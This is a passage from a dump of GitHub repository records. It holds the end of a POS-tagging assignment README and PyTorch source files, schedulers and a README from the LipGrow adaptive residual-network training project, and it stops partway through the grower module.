files, cc/\t\t\tgcc for C. For Python, this script should be left blank.\r\n\r\n ---> sh HindiWMrun.sh input_file\t(Hindi with morph feature)\r\n\t sh HindiWOMrun.sh input_file\t(Hindi without morph feature)\r\n\t sh TeluguWMrun.sh input_file\t(Telugu with morph feature)\r\n\t sh TeluguWOMrun.sh input_file\t(Telugu without morph feature)\r\n\t sh KannadaWMrun.sh input_file\t(Kannada with morph feature)\r\n\t sh KannadaWOMrun.sh input_file\t(Kannada without morph feature)\t\r\n \r\n\t\t\tThis should contain the commands to run your programs\r\n\t\t\t\tFor Java, this should contain 'java program_name input_file' (the input_file is the file to be tagged)\r\n\t\t\t\tFor Python, this file should contain 'python program_name.py input_file'\r\n\t\t\t\tMake sure this shell script only has one input argument.\r\n\t\t\t\t#####The output of the program should be displayed on the terminal#####\r\n\t\t\t\tIf you are using two languages for implementing the viterbi, the corresponding .sh files should be filled to run the program, one language which is not chosen should be left blank.\r\n \r\n ---> src - \r\n\t\r\n\tThis folder contains all your programs to be run, this also contains the training model as well as the input files used for training\r\n \r\n ---> lib \r\n\t\r\n\tThis folder contains all the external libraries which your programs are using. If you are not using any custom libraries, only using standard libraries of Java and Python, \tthis folder should be left blank.\r\n\r\n\r\n4- NOTE :\r\n--------------\r\n\r\n\tPlease Make sure your code will run only throw run.sh and from anywhere in the terminal. Use relative paths for running the programs, do not use absolute paths.\r\n\r\n5 - For running the Assignment4eval.pyc :-\r\n----------------------------------------------\r\n\r\n\tRun this following command :-\r\n\t\t\r\n\tpython Assignment4eval.pyc [-h] [-g GOLDPOS] [-t TESTPOS]\r\n\t\r\n\tGOLDPOS is the Gold standard POS tagged data which is annotated manually, TESTPOS is the tagged file which your program generates.\r\n\tAfter executing the program, you will get the % accuracy of your implementation.\r\n\r\n" } ]
2
shwinshaker/LipGrow
https://github.com/shwinshaker/LipGrow
1d1b6e3e46f96cd8a44dbabd659e622bb6d3fd67
34a977e9564d215b48534a5a1c351753ba502d0b
0a33eeed8bc0dfc0efc89108f661d555eac89e60
refs/heads/master
2022-12-01T20:23:29.913243
2020-08-22T19:06:12
2020-08-22T19:06:12
275,448,082
17
0
null
null
null
null
null
[ { "alpha_fraction": 0.5175289511680603, "alphanum_fraction": 0.5260381102561951, "avg_line_length": 33.3684196472168, "blob_id": "d51ed89b0d6c0c5cb8ccb142ed4ceafc4106cc77", "content_id": "9aad2e8c99b21f5c5293d19eb6c76c7740395964", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5876, "license_type": "no_license", "max_line_length": 110, "num_lines": 171, "path": "/utils/misc.py", "repo_name": "shwinshaker/LipGrow", "src_encoding": "UTF-8", "text": "'''Some helper functions for PyTorch, including:\n - get_mean_and_std: calculate the mean and std value of dataset.\n - msr_init: net parameter initialization.\n - progress_bar: progress bar mimic xlua.progress.\n'''\nimport errno\nimport os\nimport shutil\nimport sys\nimport time\nimport math\nimport argparse\n\nimport torch\nimport torch.nn as nn\nimport torch.nn.init as init\nfrom torch.autograd import Variable\n\n__all__ = ['get_mean_and_std', 'init_params', 'mkdir_p',\n 'AverageMeter', 'str2bool', 'reduce_list', 'is_powerOfTwo',\n 'save_checkpoint', 'print_arguments']\n\n\ndef get_mean_and_std(dataset):\n '''Compute the mean and std value of dataset.'''\n dataloader = trainloader = torch.utils.data.DataLoader(dataset, batch_size=1, shuffle=True, num_workers=2)\n\n mean = torch.zeros(3)\n std = torch.zeros(3)\n print('==> Computing mean and std..')\n for inputs, targets in dataloader:\n for i in range(3):\n mean[i] += inputs[:,i,:,:].mean()\n std[i] += inputs[:,i,:,:].std()\n mean.div_(len(dataset))\n std.div_(len(dataset))\n return mean, std\n\ndef init_params(net):\n '''Init layer parameters.'''\n for m in net.modules():\n if isinstance(m, nn.Conv2d):\n init.kaiming_normal(m.weight, mode='fan_out')\n if m.bias:\n init.constant(m.bias, 0)\n elif isinstance(m, nn.BatchNorm2d):\n init.constant(m.weight, 1)\n init.constant(m.bias, 0)\n elif isinstance(m, nn.Linear):\n init.normal(m.weight, std=1e-3)\n if m.bias:\n init.constant(m.bias, 0)\n\ndef mkdir_p(path):\n '''make dir if not exist'''\n try:\n os.makedirs(path)\n except OSError as exc: # Python >2.5\n if exc.errno == errno.EEXIST and os.path.isdir(path):\n pass\n else:\n raise\n\ndef str2bool(v):\n '''converter for boolean argparser'''\n if isinstance(v, bool):\n return v\n if v.lower() in ('yes', 'true', 't', 'y', '1'):\n return True\n elif v.lower() in ('no', 'false', 'f', 'n', '0'):\n return False\n else:\n raise argparse.ArgumentTypeError('Boolean value expected.')\n\ndef is_double_list(li):\n '''check if list is nested'''\n if not li:\n return False\n if any([isinstance(e, list) for e in li]):\n return True\n return False\n\ndef reduce_list(li, order=1):\n '''\n reduce the extra bracket\n E.g. [1, [2,3], 4] -> [1, 2, 3, 4]\n E.g. [[1], [[2,3],[]], [4]] -> [[1], [2,3], [], [4]]\n '''\n if order == 1:\n check = lambda e: isinstance(e, list)\n elif order == 2:\n check = is_double_list\n else:\n raise KeyError('order not defined! %i' % order)\n li_ = []\n for l in li:\n if check(l):\n li_.extend(l)\n else:\n li_.append(l)\n return li_\n\ndef is_powerOfTwo (x): \n # check if an integer is power of two\n return (x and (not(x & (x - 1))) ) \n\nclass AverageMeter(object):\n \"\"\"Computes and stores the average and current value\n Imported from https://github.com/pytorch/examples/blob/master/imagenet/main.py#L247-L262\n \"\"\"\n def __init__(self):\n self.reset()\n\n def reset(self):\n self.val = 0\n self.avg = 0\n self.sum = 0\n self.count = 0\n\n def update(self, val, n=1):\n self.val = val\n self.sum += val * n\n self.count += n\n self.avg = self.sum / self.count\n\ndef save_checkpoint(state, is_best, checkpoint='checkpoint', filename='checkpoint.pth.tar'):\n filepath = os.path.join(checkpoint, filename)\n torch.save(state, filepath)\n if is_best:\n shutil.copyfile(filepath, os.path.join(checkpoint, 'model_best.pth.tar'))\n\ndef print_arguments(args):\n '''print input arguments'''\n\n print(\" -------------------------- dataset -----------------------------------------\")\n print(\" dataset: %s\" % args.dataset)\n\n print(\" --------------------------- training ----------------------------------\")\n print(\" Epochs: %i\" % args.epochs)\n print(\" Train batch size: %i\" % args.train_batch)\n print(\" Test batch size: %i\" % args.test_batch)\n print(\" Learning rate: %g\" % args.lr)\n print(\" Momentum: %g\" % args.momentum)\n print(\" Weight decay: %g\" % args.weight_decay)\n print(\" Learning rate scheduler: %s\" % args.scheduler) # 'multi-step cosine annealing schedule'\n if args.scheduler in ['step', 'cosine', 'adacosine']:\n print(\" Learning rate schedule - milestones: \", args.schedule)\n if args.scheduler in ['step', 'expo', 'adapt']:\n print(\" Learning rate decay factor: %g\" % args.gamma)\n print(\" gpu id: %s\" % args.gpu_id)\n print(\" num workers: %i\" % args.workers)\n print(\" hooker: \", args.hooker)\n print(\" --------------------------- model ----------------------------------\")\n print(\" Model: %s\" % args.arch)\n print(\" depth: %i\" % args.depth)\n print(\" block: %s\" % args.block_name)\n if args.grow:\n if not args.arch in ['resnet', 'preresnet']:\n raise KeyError(\"model not supported for growing yet.\")\n print(\" --------------------------- grow ----------------------------------\")\n print(\" grow mode: %s\" % args.mode)\n if args.mode == 'fixed':\n print(\" grow milestones: \", args.grow_epoch)\n else:\n print(\" max depth: %i\" % args.max_depth)\n print(\" smoothing scope: %i\" % args.window)\n print(\" reserved epochs: %i\" % args.reserve)\n if args.debug_batch_size:\n print(\" -------------------------- debug ------------------------------------\")\n print(\" debug batches: %i\" % args.debug_batch_size)\n print(\" ---------------------------------------------------------------------\")" }, { "alpha_fraction": 0.565891444683075, "alphanum_fraction": 0.618863046169281, "avg_line_length": 44.125, "blob_id": "d2d6e8791dd130ebedd82f89227791b862412e14", "content_id": "0eb71c9105f665e3fdd12418c04d929e4eb52ae7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5418, "license_type": "no_license", "max_line_length": 129, "num_lines": 120, "path": "/pipeline/preprocess.py", "repo_name": "shwinshaker/LipGrow", "src_encoding": "UTF-8", "text": "import torch.utils.data as data\nimport torchvision.datasets as datasets\nimport torchvision.transforms as transforms\n\nimport os\n\n\n__all__ = ['get_loaders']\n\ndef get_loaders(dataset='cifar10', download=False,\n train_batch=128, test_batch=100, n_workers=4, \n data_dir='./data'):\n\n # Data\n print('==> Preparing dataset %s' % dataset)\n if dataset == 'cifar10':\n dataloader = datasets.CIFAR10\n num_classes = 10\n transform_train = transforms.Compose([\n transforms.RandomCrop(32, padding=4),\n transforms.RandomHorizontalFlip(),\n transforms.ToTensor(),\n transforms.Normalize((0.4914, 0.4822, 0.4465), (0.2023, 0.1994, 0.2010)),\n ])\n\n transform_test = transforms.Compose([\n transforms.ToTensor(),\n transforms.Normalize((0.4914, 0.4822, 0.4465), (0.2023, 0.1994, 0.2010)),\n ])\n elif dataset == 'cifar100':\n dataloader = datasets.CIFAR100\n num_classes = 100\n transform_train = transforms.Compose([\n transforms.RandomCrop(32, padding=4),\n transforms.RandomHorizontalFlip(),\n transforms.ToTensor(),\n transforms.Normalize((0.4914, 0.4822, 0.4465), (0.2023, 0.1994, 0.2010)),\n ])\n\n transform_test = transforms.Compose([\n transforms.ToTensor(),\n transforms.Normalize((0.4914, 0.4822, 0.4465), (0.2023, 0.1994, 0.2010)),\n ])\n elif dataset == 'imagenet':\n dataloader = datasets.ImageNet\n num_classes = 1000\n normalize = transforms.Normalize(mean=[0.485, 0.456, 0.406],\n std=[0.229, 0.224, 0.225])\n transform_train = transforms.Compose([\n transforms.RandomResizedCrop(224),\n transforms.RandomHorizontalFlip(),\n transforms.ToTensor(),\n normalize,\n ])\n\n transform_test = transforms.Compose([\n transforms.Resize(256),\n transforms.CenterCrop(224),\n transforms.ToTensor(),\n normalize,\n ])\n elif dataset == 'tiny-imagenet':\n # custom dataloader\n num_classes = 200\n normalize = transforms.Normalize([0.4802, 0.4481, 0.3975], [0.2302, 0.2265, 0.2262])\n data_transforms = {\n 'train': transforms.Compose([\n transforms.RandomRotation(20),\n # transforms.RandomCrop(64, padding=4),\n transforms.RandomHorizontalFlip(0.5),\n transforms.ToTensor(),\n normalize,\n ]),\n 'test': transforms.Compose([\n transforms.ToTensor(),\n normalize,\n ])}\n\n else:\n raise KeyError(dataset)\n\n if dataset.startswith('cifar'):\n # test set size: 10,000\n testset = dataloader(root=data_dir, train=False, download=download, transform=transform_test)\n valset = data.Subset(testset, range(len(testset)//2))\n testset = data.Subset(testset, range(len(testset)//2+1, len(testset)))\n valloader = data.DataLoader(valset, batch_size=test_batch, shuffle=False, num_workers=n_workers)\n testloader = data.DataLoader(testset, batch_size=test_batch, shuffle=False, num_workers=n_workers)\n\n # training set size: 50,000 - 10,000 = 40,000\n trainset = dataloader(root=data_dir, train=True, download=download, transform=transform_train)\n trainloader = data.DataLoader(trainset, batch_size=train_batch, shuffle=True, num_workers=n_workers)\n elif dataset == 'imagenet':\n # dataset size: 1000 classes * 50,000 per class\n testset = dataloader(root=data_dir, split='val', download=download, transform=transform_test)\n valset = data.Subset(testset, range(len(testset)//2))\n testset = data.Subset(testset, range(len(testset)//2+1, len(testset)))\n valloader = data.DataLoader(valset, batch_size=test_batch, shuffle=False, num_workers=n_workers)\n testloader = data.DataLoader(testset, batch_size=test_batch, shuffle=False, num_workers=n_workers) # , pin_memory=True)\n\n trainset = dataloader(root=data_dir, split='train', download=download, transform=transform_train)\n trainloader = data.DataLoader(trainset, batch_size=train_batch, shuffle=True, num_workers=n_workers) # , pin_memory=True)\n elif dataset == 'tiny-imagenet':\n # dataset size:\n # train: 200 classes * 500 per class\n # val: 200 classes * 25 per class\n # test: 200 classes * 25 per class (original test is not labeled, split val)\n testset = datasets.ImageFolder(os.path.join(data_dir, 'tiny-imagenet-200', 'val'), transform=data_transforms['test'])\n valset = data.Subset(testset, range(len(testset)//2))\n testset = data.Subset(testset, range(len(testset)//2+1, len(testset)))\n valloader = data.DataLoader(valset, batch_size=test_batch, shuffle=False, num_workers=n_workers)\n testloader = data.DataLoader(testset, batch_size=test_batch, shuffle=False, num_workers=n_workers)\n\n trainset = datasets.ImageFolder(os.path.join(data_dir, 'tiny-imagenet-200', 'train'), transform=data_transforms['train'])\n trainloader = data.DataLoader(trainset, batch_size=train_batch, shuffle=True, num_workers=n_workers)\n else:\n raise KeyError(dataset)\n\n\n return trainloader, valloader, testloader, num_classes\n\n\n\n" }, { "alpha_fraction": 0.7103046178817749, "alphanum_fraction": 0.7290991544723511, "avg_line_length": 31.82978630065918, "blob_id": "e581df57bc4f83faa7beec51bd33ce0e889993f7", "content_id": "4df630a99e00bf66d630896869b7e322bea2b190", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1543, "license_type": "no_license", "max_line_length": 205, "num_lines": 47, "path": "/README.md", "repo_name": "shwinshaker/LipGrow", "src_encoding": "UTF-8", "text": "# LipGrow\nAn adaptive training algorithm for residual network based on model Lipschitz\n\n* Our algorithm reduces about 50% time when training ResNet-74 on CIFAR-10\n<p align=\"center\"><img width=\"60%\" src=\"assets/demo.png\"/></p>\n\n## Install\n* Install [PyTorch](http://pytorch.org/)\n* Clone recursively\n ```\n git clone --recursive https://github.com/shwinshaker/LipGrow.git\n ```\n\n## Setup\n* By default, build a `./data` directory which includes the datasets \n* By default, build a `./checkpoints` directory to save the training output\n\n## Training\n* CIFAR-10/100\n ```\n ./launch.sh\n ```\n* Tiny-ImageNet\n ```\n ./imagenet-launch.sh\n ```\n\n* Recipes\n * For vanilla training, set `grow=false`\n * For training with fixed grow epochs, set `grow='fixed'`, and provide grow epochs `dupEpoch`\n * For adaptive training, set `grow='adapt'`, and use adaptive cosine learning rate scheduler `scheduler='adacosine'`\n\n## Issues\n* ResNet architecture for ImageNet is slightly from the published one. The uneven number of blocks in every subnetwork requires a different grow scheduler for each subnetwork, which demands some extra work\n\n## Citation\n\nIf you find our algorithm helpful, consider citing our paper\n> [Towards Adaptive Residual Network Training: A Neural-ODE Perspective](https://proceedings.icml.cc/static/paper_files/icml/2020/6462-Paper.pdf)\n\n```\n@inproceedings{Dong2020TowardsAR,\n title={Towards Adaptive Residual Network Training: A Neural-ODE Perspective},\n author={Chengyu Dong and Liyuan Liu and Zichao Li and Jingbo Shang},\n year={2020}\n}\n```\n" }, { "alpha_fraction": 0.5265392661094666, "alphanum_fraction": 0.5421974658966064, "avg_line_length": 32.05263137817383, "blob_id": "0bcf374505db31be0249c0618f1e2475da051faf", "content_id": "f6106a03f51168d9d36734d856282837ebb11e69", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3768, "license_type": "no_license", "max_line_length": 176, "num_lines": 114, "path": "/pipeline/training.py", "repo_name": "shwinshaker/LipGrow", "src_encoding": "UTF-8", "text": "import torch\nfrom utils import Bar, Logger, AverageMeter, accuracy\nimport time\n\n__all__ = ['train', 'test']\n\ndef train(trainloader, model, criterion, optimizer, debug_batch_size=0, device='cuda:0'):\n # switch to train mode\n model.train()\n\n batch_time = AverageMeter()\n data_time = AverageMeter()\n losses = AverageMeter()\n top1 = AverageMeter()\n top5 = AverageMeter()\n end = time.time()\n \n if debug_batch_size:\n bar = Bar('Processing', max=debug_batch_size)\n else:\n bar = Bar('Processing', max=len(trainloader))\n for batch_idx, (inputs, targets) in enumerate(trainloader):\n if debug_batch_size:\n if batch_idx >= debug_batch_size:\n break\n # measure data loading time\n data_time.update(time.time() - end)\n\n inputs, targets = inputs.to(device), targets.to(device)\n\n # compute output\n outputs = model(inputs)\n loss = criterion(outputs, targets)\n\n # measure accuracy and record loss\n prec1, prec5 = accuracy(outputs.data, targets.data, topk=(1, 5))\n losses.update(loss.data.item(), inputs.size(0))\n top1.update(prec1.item(), inputs.size(0))\n top5.update(prec5.item(), inputs.size(0))\n\n # compute gradient and do SGD step\n optimizer.zero_grad()\n loss.backward()\n optimizer.step()\n\n # measure elapsed time\n batch_time.update(time.time() - end)\n end = time.time()\n\n # plot progress\n bar.suffix = '({batch}/{size}) Data: {data:.3f}s | Batch: {bt:.3f}s | Total: {total:} | ETA: {eta:} | Loss: {loss:.4f} | top1: {top1: .4f} | top5: {top5: .4f}'.format(\n batch=batch_idx + 1,\n size=len(trainloader),\n data=data_time.avg,\n bt=batch_time.avg,\n total=bar.elapsed_td,\n eta=bar.eta_td,\n loss=losses.avg,\n top1=top1.avg,\n top5=top5.avg,\n )\n bar.next()\n bar.finish()\n\n return (losses.avg, top1.avg)\n\n\ndef test(testloader, model, criterion, device='cuda:0'):\n\n batch_time = AverageMeter()\n data_time = AverageMeter()\n losses = AverageMeter()\n top1 = AverageMeter()\n top5 = AverageMeter()\n\n # switch to evaluate mode\n model.eval()\n\n end = time.time()\n bar = Bar('Processing', max=len(testloader))\n for batch_idx, (inputs, targets) in enumerate(testloader):\n # measure data loading time\n data_time.update(time.time() - end)\n\n inputs, targets = inputs.to(device), targets.to(device)\n with torch.no_grad():\n outputs = model(inputs)\n loss = criterion(outputs, targets)\n\n # measure accuracy and record loss\n prec1, prec5 = accuracy(outputs.data, targets.data, topk=(1, 5))\n losses.update(loss.data.item(), inputs.size(0))\n top1.update(prec1.item(), inputs.size(0))\n top5.update(prec5.item(), inputs.size(0))\n\n # measure elapsed time\n batch_time.update(time.time() - end)\n end = time.time()\n\n # plot progress\n bar.suffix = '({batch}/{size}) Data: {data:.3f}s | Batch: {bt:.3f}s | Total: {total:} | ETA: {eta:} | Loss: {loss:.4f} | top1: {top1: .4f} | top5: {top5: .4f}'.format(\n batch=batch_idx + 1,\n size=len(testloader),\n data=data_time.avg,\n bt=batch_time.avg,\n total=bar.elapsed_td,\n eta=bar.eta_td,\n loss=losses.avg,\n top1=top1.avg,\n top5=top5.avg,\n )\n bar.next()\n bar.finish()\n return (losses.avg, top1.avg)\n" }, { "alpha_fraction": 0.5678085684776306, "alphanum_fraction": 0.580009400844574, "avg_line_length": 29.44285774230957, "blob_id": "2d8de523e88a90d7d40197e25e27d094d2a26926", "content_id": "5bd7ef900752ff8cbfad21252cc8d2f6e9efcbf1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2131, "license_type": "no_license", "max_line_length": 196, "num_lines": 70, "path": "/utils/trigger.py", "repo_name": "shwinshaker/LipGrow", "src_encoding": "UTF-8", "text": "from __future__ import absolute_import\nimport torch\nimport os\nfrom . import Logger\nimport statistics\n\n__all__ = ['TolTrigger']\n\nclass TolTrigger:\n def __init__(self, tolerance=1.1, window=1, reserve=20, epochs=164, smooth=statistics.mean, modelArch=None):\n\n self.tolerance = tolerance \n self.window = window\n self.reserve = reserve\n self.epochs = epochs\n self.smooth = smooth\n self.modelArch = modelArch\n\n self.init_err = None\n \n self.history = []\n self.smooth_history = []\n\n def feed(self, err):\n assert(isinstance(err, float))\n\n self.history.append(err)\n if len(self.history) >= self.window:\n self.smooth_history.append(self.smooth(self.history[-self.window:]))\n\n if self.smooth_history:\n if not self.init_err:\n self.init_err = self.smooth_history[-1]\n return\n\n smooth_err = self.smooth_history[-1]\n print('[Tol Trigger] err: %.4f - smooth-err: %.4f - init-smooth-err: %.4f - ratio: %.4f - threshold: %.4f' % (err, smooth_err, self.init_err, smooth_err/self.init_err, self.tolerance))\n else:\n print('[Tol Trigger] err: %.4f - len-history: %i' % (err, len(self.history)))\n \n def trigger(self, epoch, arch=None):\n\n if not self.smooth_history:\n return 0\n\n ratio = self.smooth_history[-1] / self.init_err\n if ratio > self.tolerance:\n return 1\n\n # ensures every model will get at least several epochs of training\n # final model will get at least 30 epochs of training\n num_grows_left = self.modelArch.get_grows_left()\n if num_grows_left > 0 and self.epochs - epoch == self.reserve + (num_grows_left-1) * self.window + 1:\n print('[Tol Trigger] Forced grow at epoch %i.' % epoch)\n return 1\n\n return 0\n\n def update(self, err_index):\n # Input\n # err_index: index of grow (e.g. block number)\n\n self.init_err = None\n\n self.history = []\n self.smooth_history = []\n\n\n def close(self):\n pass\n" }, { "alpha_fraction": 0.5926783680915833, "alphanum_fraction": 0.6017942428588867, "avg_line_length": 30.706422805786133, "blob_id": "58fd624f6eb6626a90dbb4ccd47fa54d2d307b5a", "content_id": "8f0edd8188e9593a9f63a69927481ef65cc0d187", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6911, "license_type": "no_license", "max_line_length": 151, "num_lines": 218, "path": "/utils/scheduler.py", "repo_name": "shwinshaker/LipGrow", "src_encoding": "UTF-8", "text": "#!./env python\n\nfrom __future__ import absolute_import\nfrom torch.optim.lr_scheduler import _LRScheduler, MultiStepLR, CosineAnnealingLR, ExponentialLR\nimport os\nfrom . import Logger\nimport warnings\n\n# __all__ = ['ConstantLR', 'MultiStepLR_', 'MultiStepCosineLR', 'ExponentialLR_']\n\nclass ConstantLR(_LRScheduler):\n\n def __init__(self, optimizer, last_epoch=-1, dpath='.'):\n self.optimizer = optimizer\n self.last_epoch = last_epoch\n super(ConstantLR, self).__init__(optimizer, last_epoch)\n\n self.logger = Logger(os.path.join(dpath, 'Learning_rate.txt'))\n self.logger.set_names(['epoch', 'learning_rate'])\n\n def step_(self, epoch, err):\n lrs = self.get_lr()\n assert(len(set(lrs)) == 1), 'unexpected number of unique lrs!'\n self.logger.append([epoch, lrs[0]])\n\n self.step()\n\n def get_lr(self):\n return [base_lr for base_lr in self.base_lrs]\n\n def lr_(self):\n return self.get_lr()[0]\n\n def update(self, optimizer, epoch=None):\n self.optimizer = optimizer\n\n def close(self):\n self.logger.close()\n\ndef constant(**kwargs):\n return ConstantLR(**kwargs)\n\n\nclass MultiStepLR_(MultiStepLR):\n\n def __init__(self, optimizer, milestones, gamma=0.1, last_epoch=-1, dpath='.'):\n super(MultiStepLR_, self).__init__(optimizer, milestones, gamma=gamma, last_epoch=last_epoch)\n\n self.logger = Logger(os.path.join(dpath, 'Learning_rate.txt'))\n self.logger.set_names(['epoch', 'learning_rate'])\n\n def step_(self, epoch, err):\n lrs = self.get_lr()\n assert(len(set(lrs)) == 1), 'unexpected number of unique lrs!'\n self.logger.append([epoch, lrs[0]])\n\n self.step()\n\n def lr_(self):\n lrs = [param_group['lr'] for param_group in self.optimizer.param_groups]\n assert(len(set(lrs)) == 1)\n assert(lrs[0] == self.get_lr()[0]), (lrs[0], self.get_lr()[0], self.last_epoch)\n return self.get_lr()[0]\n\n def update(self, optimizer, epoch=None):\n self.optimizer = optimizer\n\n def close(self):\n self.logger.close()\n\ndef step(**kwargs):\n return MultiStepLR_(**kwargs)\n\n\nclass MultiStepCosineLR(CosineAnnealingLR):\n\n def __init__(self, optimizer, milestones, epochs, eta_min=0.001, dpath='.'):\n ## -----------\n # self.temp_list = milestones\n # ---------------\n self.milestones = iter(sorted(milestones + [epochs, 2*epochs])) # last `epochs` is dummy\n self.eta_min = eta_min\n self.T = 0\n self.next_T = next(self.milestones)\n super(MultiStepCosineLR, self).__init__(optimizer, self.next_T - self.T, eta_min)\n\n self.logger = Logger(os.path.join(dpath, 'Learning_rate.txt'))\n self.logger.set_names(['epoch', 'learning_rate'])\n\n def step_(self, epoch, err):\n print(epoch, self.last_epoch, self.T_max, self.T, self.next_T)\n\n lrs = self.get_lr()\n assert(len(set(lrs)) == 1), 'unexpected number of unique lrs!'\n self.logger.append([epoch, lrs[0]])\n\n if epoch == self.next_T-1:\n self.last_epoch = -1\n self.T = self.next_T\n self.next_T = next(self.milestones)\n self.T_max = self.next_T - self.T\n\n self.step()\n\n def lr_(self):\n lrs = [param_group['lr'] for param_group in self.optimizer.param_groups]\n assert(len(set(lrs)) == 1)\n assert(lrs[0] == self.get_lr()[0]), (lrs[0], self.get_lr()[0], self.last_epoch)\n return self.get_lr()[0]\n\n def update(self, optimizer, epoch=None):\n self.optimizer = optimizer\n\n def close(self):\n self.logger.close()\n\ndef cosine(**kwargs):\n return MultiStepCosineLR(**kwargs)\n\n\nclass AdaptMultiStepCosineLR(CosineAnnealingLR):\n\n def __init__(self, optimizer, epochs, eta_min=0.001, dpath='.'):\n\n self.eta_min = eta_min\n self.T = 0\n self.next_T = epochs\n super(AdaptMultiStepCosineLR, self).__init__(optimizer, self.next_T - self.T, eta_min)\n\n self.logger = Logger(os.path.join(dpath, 'Learning_rate.txt'))\n self.logger.set_names(['epoch', 'learning_rate'])\n\n def step_(self, epoch, err):\n print('[Lr Scheduler] epoch: %i - last_epoch: %i - T_max: %i - T: %i - next_T: %i' % (epoch, self.last_epoch, self.T_max, self.T, self.next_T))\n\n lrs = self.get_lr()\n assert(len(set(lrs)) == 1), 'unexpected number of lrs!'\n self.logger.append([epoch, lrs[0]])\n self.step()\n\n def lr_(self):\n lrs = [param_group['lr'] for param_group in self.optimizer.param_groups]\n assert(len(set(lrs)) == 1)\n assert(lrs[0] == self.get_lr()[0]), (lrs[0], self.get_lr()[0], self.last_epoch, 'Inconsistent learning rate between scheduler and optimizer!')\n return self.get_lr()[0]\n\n def update(self, optimizer, epoch=None):\n # update will only be called in grow case\n self.optimizer = optimizer\n self.last_epoch = 0\n self.T_max = self.next_T - epoch - 1\n\n def close(self):\n self.logger.close()\n\ndef adacosine(**kwargs):\n return AdaptMultiStepCosineLR(**kwargs)\n\n\nclass CosineLR(CosineAnnealingLR):\n\n def __init__(self, optimizer, epochs, eta_min=0.001, dpath='.'):\n warnings.warn('hardcoded T_max')\n super(CosineLR, self).__init__(optimizer, epochs//3, eta_min)\n\n self.logger = Logger(os.path.join(dpath, 'Learning_rate.txt'))\n self.logger.set_names(['epoch', 'learning_rate'])\n\n def step_(self, epoch, err):\n lrs = self.get_lr()\n assert(len(set(lrs)) == 1), 'unexpected number of unique lrs!'\n self.logger.append([epoch, lrs[0]])\n\n self.step()\n\n def lr_(self):\n return self.get_lr()[0]\n\n def update(self, optimizer, epoch=None):\n self.optimizer = optimizer\n self.last_epoch = 0\n\n def close(self):\n self.logger.close()\n\ndef acosine(**kwargs):\n return CosineLR(**kwargs)\n\n\nclass ExponentialLR_(ExponentialLR):\n\n def __init__(self, optimizer, gamma=0.1, last_epoch=-1, dpath='.'):\n super(ExponentialLR_, self).__init__(optimizer, gamma=gamma, last_epoch=last_epoch)\n\n self.logger = Logger(os.path.join(dpath, 'Learning_rate.txt'))\n self.logger.set_names(['epoch', 'learning_rate'])\n\n def step_(self, epoch, err):\n lrs = self.get_lr()\n assert(len(set(lrs)) == 1), 'unexpected number of unique lrs!'\n self.logger.append([epoch, lrs[0]])\n\n self.step()\n\n def lr_(self):\n return self.get_lr()[0]\n\n def update(self, optimizer, epoch=None):\n raise NotImplementedError('Make sure this init is correct, now optimizer updated from args.lr!')\n super(ExponentialLR_, self).__init__(optimizer, gamma=self.gamma, last_epoch=-1)\n # self.optimizer = optimizer\n # self.last_epoch = 0\n\n def close(self):\n self.logger.close()\n\ndef expo(**kwargs):\n return ExponentialLR_(**kwargs)" }, { "alpha_fraction": 0.5528851747512817, "alphanum_fraction": 0.5597198605537415, "avg_line_length": 34.977821350097656, "blob_id": "f2dd7326537bb9419cb846ab02980e40f423feca", "content_id": "5059480048a405156588796bb12b017099ad3b54", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 17850, "license_type": "no_license", "max_line_length": 180, "num_lines": 496, "path": "/utils/grower.py", "repo_name": "shwinshaker/LipGrow", "src_encoding": "UTF-8", "text": "from __future__ import absolute_import\nimport torch\nimport os\nfrom collections import OrderedDict\nfrom . import Logger\nfrom . import reduce_list\nfrom copy import deepcopy\nfrom math import log2\nimport pickle\n\n__all__ = ['StateDict', 'ModelArch']\n\nclass StateDict:\n\n \"\"\"\n An extension of the pytorch model statedict to allow layer insertion\n\n parallel model: prefix = module.\n cpu model: prefix = ''\n\n todo: num_layers can be inferred from the number of blocks startswith layers, like what we do in utils/hooker\n \"\"\"\n\n def __init__(self, model, operation='duplicate', atom='block', special_first=True, num_layers=3):\n self.state_dict = model.state_dict()\n self.best_state_dict = None\n\n assert operation in ['duplicate', 'plus'], operation\n self.operation = operation\n\n assert atom in ['block', 'layer', 'model'], atom\n self.atom = atom\n\n self.special_first = special_first\n\n self.num_layers = num_layers\n\n if torch.cuda.device_count() > 1:\n self.prefix = 'module.'\n self.l = 1\n self.b = 2\n else:\n self.prefix = ''\n self.l = 0 # index of name of layer in the model string\n self.b = 1 # index of name of block in the model string\n\n def update(self, epoch, is_best, model):\n self.state_dict = model.state_dict()\n if is_best:\n self.best_state_dict = model.state_dict()\n\n def get_block(self, l, b):\n items = []\n for k in self.state_dict:\n if k.startswith('%slayer%i.%i.' % (self.prefix, l+1, b)):\n items.append((k, self.state_dict[k]))\n if items:\n return OrderedDict(items)\n raise KeyError(\"Block not found! %i-%i\" % (l, b))\n\n def insert_before(self, l, b, new_block):\n new_dict = OrderedDict()\n\n # copy the layers up to the desired block\n for k in self.state_dict:\n if not k.startswith('%slayer%i.%i.' % (self.prefix, l+1, b)):\n new_dict.__setitem__(k, self.state_dict[k])\n else:\n first_k = k\n break\n\n # insert the new layer\n for k in new_block:\n if not k.startswith('%slayer%i.' % (self.prefix, l+1)):\n raise ValueError('todo: Block should be renamed if insert to different stage..')\n assert(k not in new_dict), \"inserted block already exists before!\"\n new_dict.__setitem__(k, new_block[k])\n\n # copy the rest of the layer\n skip = True\n for k in self.state_dict:\n if k != first_k and skip:\n continue\n if skip:\n skip = False\n splits = k.split('.')\n if splits[self.l] == 'layer%i' % (l+1):\n # increment block indices for inserted layer\n b = int(splits[self.b]) + 1\n splits[self.b] = str(b)\n k_ = '.'.join(splits)\n new_dict.__setitem__(k_, self.state_dict[k])\n\n self.state_dict = new_dict\n\n def duplicate_block(self, l, b):\n\n if self.special_first:\n if b == 0:\n self.insert_before(l, b+1, self.get_block(l, b+1))\n return\n\n self.insert_before(l, b, self.get_block(l, b))\n\n 